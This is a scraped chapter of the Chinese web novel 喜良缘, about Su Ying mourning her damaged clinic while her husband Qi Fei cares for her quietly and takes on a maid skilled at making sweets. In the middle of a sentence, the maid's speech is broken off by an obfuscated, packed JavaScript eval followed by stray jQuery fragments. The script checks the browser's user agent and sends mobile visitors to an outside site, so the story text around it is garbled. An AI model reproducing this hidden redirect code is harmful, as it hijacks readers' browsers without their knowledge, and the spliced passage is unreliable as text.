文趣网 > 其他小说 > 喜良缘 > 88. 夫妻
    坐到浑身冷透,街上响起梆子声,苏楹吸吸鼻子,抬手胡乱搓热头脸,然后起身,打算先回屋睡一觉。

    厨房的灯居然亮着,一只锅里坐着热水,一只锅里热着晚饭。

    她拎起长裙,跑回同样亮着灯烛的卧房——里面空无一人,但火炕是暖的,床帐上挂着冲虚道长给她的护身符。

    她靠在门板上,望着护身符发了会儿呆。垂脸笑了一下,走去厨房吃饭。

    ·

    一连五天,苏楹没有回府。

    齐斐如常去都察院点卯退班,崔娘子看在眼里,暗暗发愁。

    她抱着账本经过庭院,听见两个晒药的小丫头正在嘟囔主子。

    “原以为两位主子相敬如宾,没料到却是这样。”

    崔娘子眉头一跳,躲在柱子后面临近听。

    “夫人为人好,性格宽和;五爷呢,总冷着脸,几乎从没见他笑过,跟画里的阎罗似的。听说前些天整治丫头小厮,就是因为得罪了五爷,赶走了好多人呢,还好咱们药房离五爷远。”

    另一个小丫头叹气:“坊间一早流传五爷是被夫人耽搁了才不能继续修道,嘴里不说,心里其实怨着夫人呢。平时他待人淡淡的,显不出来,这回夫人的医馆出事,可显出来了。”

    “是啊,不说夫妻了,哪怕是邻居,出事了也得去看看,安慰安慰。咱们家的倒好,跟没事人一样,真让人寒心。”

    崔娘子听她们说离了格,故意咳嗽一声,脚步重重地走出来,吓了小丫头一跳。

    崔娘子不咸不淡瞥她们一眼,算作警示,离开了。

    两个小丫头白着脸拍拍胸口,不敢再多话,一心一意整理药材。

    崔娘子来到内书房,敲门进去,齐斐坐在大檀木书桌后面看公文;宴以束在窗边的小楠木桌处写疏帖——自从河豚案结束,宴以束便以清客的身份在府内住下,平时帮忙迎来送往,写疏贴请柬以及各类重要的文书,府内拨给他三四个打下手的书童,至于丫鬟婆子还有月钱也是置备齐全。

    崔娘子不高兴地想,正经算起来,宴以束是夫人捡回来的,按理该去医馆偏帮夫人,而今雀儿望着高处飞,只在这里巴结五爷。

    齐斐抬眼;崔娘子慌忙收拾心绪,见了礼,禀道:“采买进来的丫鬟礼仪都已调./教齐全,其中出类拔萃的有六个,眼下夫人不在府内,小的来请爷的示下。”

    齐斐:“叫进来。”

    崔娘子忙让婆子领着六个丫头进来。

    六个都是老实本分的丫头,不过十六七岁。

    齐斐垂眸继续看公文,于是宴以束起来走到她们跟前挨个儿看。

    只见最左边的那个红了脸,中间的那个眼神躲闪,宴以束直接让婆子带她们俩出去。

    剩下的四个,宴以束问她们擅长什么。

    有擅长女红的,有擅长弹琵琶的,有擅长算术的……宴以束望向最后一个,她有点不好意思地说:“小的祖父曾在宫里的甜食房当差,小的会点甜品手艺。”

    齐斐放下公文:“你的拿手甜食有哪些?”

    “枣泥卷、艾窝窝、牛乳、酥糕、荔枝冻、丝窝糖……主要看材料,要是有好的牛奶./子,这个季节吃奶酥糕最香甜不过了。”

    齐斐沉黑的眼睛将她从头到脚扫了一遍,见她头发干净、衣袖无油、裙角无泥,点了个头。

    崔娘子会意,笑道:“伸出手来瞧瞧。”

    丫鬟听话地伸出手来。

    她的手不算光洁,指腹有茧。指甲修得圆润,指缝干干净净。

    宴以束忽然问:“你祖父在甜食房当差,家里怎的舍得你卖身当丫头?”

    丫鬟闻言,低下头去,尴尬地嘿笑一声,回道:“祖父退下来后,庶、庶人齐轲便将祖父和父亲聘去府上做甜食,后来……”她声音弱下去:“祖父在监牢里去世了,圣上圣德赦免我们,但家里穷了下去。”

    宴以束道:“岂不是圣上砸了你家生意?”

    丫鬟猛吃一惊,慌忙跪下磕头:“当年分明是庶人齐轲居心不良,俺们一家只是手艺人,图的是安稳,岂敢心怀不轨?再怨也是怨庶人齐轲啊,请公子放小的一条生

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658775|203440||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    路,就因为这个,家里人找不到活儿,只能卖了我们。家里还有母亲、外祖母要养,小的不求别的,只求留在府中有份差事干。”

    崔娘子道:“这丫头家里确实如此。他们一家子老实,即便如此,也不撒谎骗主。”

    宴以束抬抬手,丫鬟站起身。

    崔娘子偷看齐斐脸色,笑道:“五爷要是觉得好,就留下她如何?”

    齐斐:“有名字没有?”

    崔娘子:“只叫二姐儿。”

    齐斐看看窗外,道:“春桃出去了,她顶春桃的窝,叫绿枝罢。”

    崔娘子给绿枝使眼色,绿枝赶紧趴在地上磕头:“多谢五爷赐名。”

    当晚,苏楹揭开冒着热气的锅盖,发现里面多出两碟子甜食。

    她用湿手巾包住碟子边缘,端出来。

    一道是棕红色的枣泥卷,一道是米黄色的奶酥糕。

    厨房用来吃饭的矮桌上放着一个白瓷碗,碗下压着一张字条。

    「府内新来了个大丫鬟,名叫绿枝,说是很会做甜食,你尝尝是否适口。」

    热气腾腾的甜食总能叫人心情愉悦。苏楹用完饭,回他一张字条,同样压在白瓷碗底部。

    次日齐斐点卯前过来,帮她把柴火抱去厨房,看见白瓷碗下的字条。

    「很好吃。多谢。」

    齐斐弯唇笑了笑,隔着厨房窗户望向苏楹的卧房。

    这间医馆是苏文徽夫妻经营过的,承载着苏楹的回忆。医馆弄成这样,她肯定失落非常。

    齐斐知道,此时此刻,她只想一个人待着,不想花力气和人交谈、应付关系。

    他所能做的,便是保证她不会冷、不会饿,其余的他无法帮忙。

    就像一个人被烫伤了,至亲再怎么心疼,所有的疼痛也只能由受伤的人独自承受,无法代替。

    苏楹落笔的字迹笔锋舒展平和,想来心情调理得差不多了。

    等哪天她听见院子里的劈柴声和厨房里的烧火声愿意出来相见,便是心结彻底舒开之时,他就能接她一起回府了。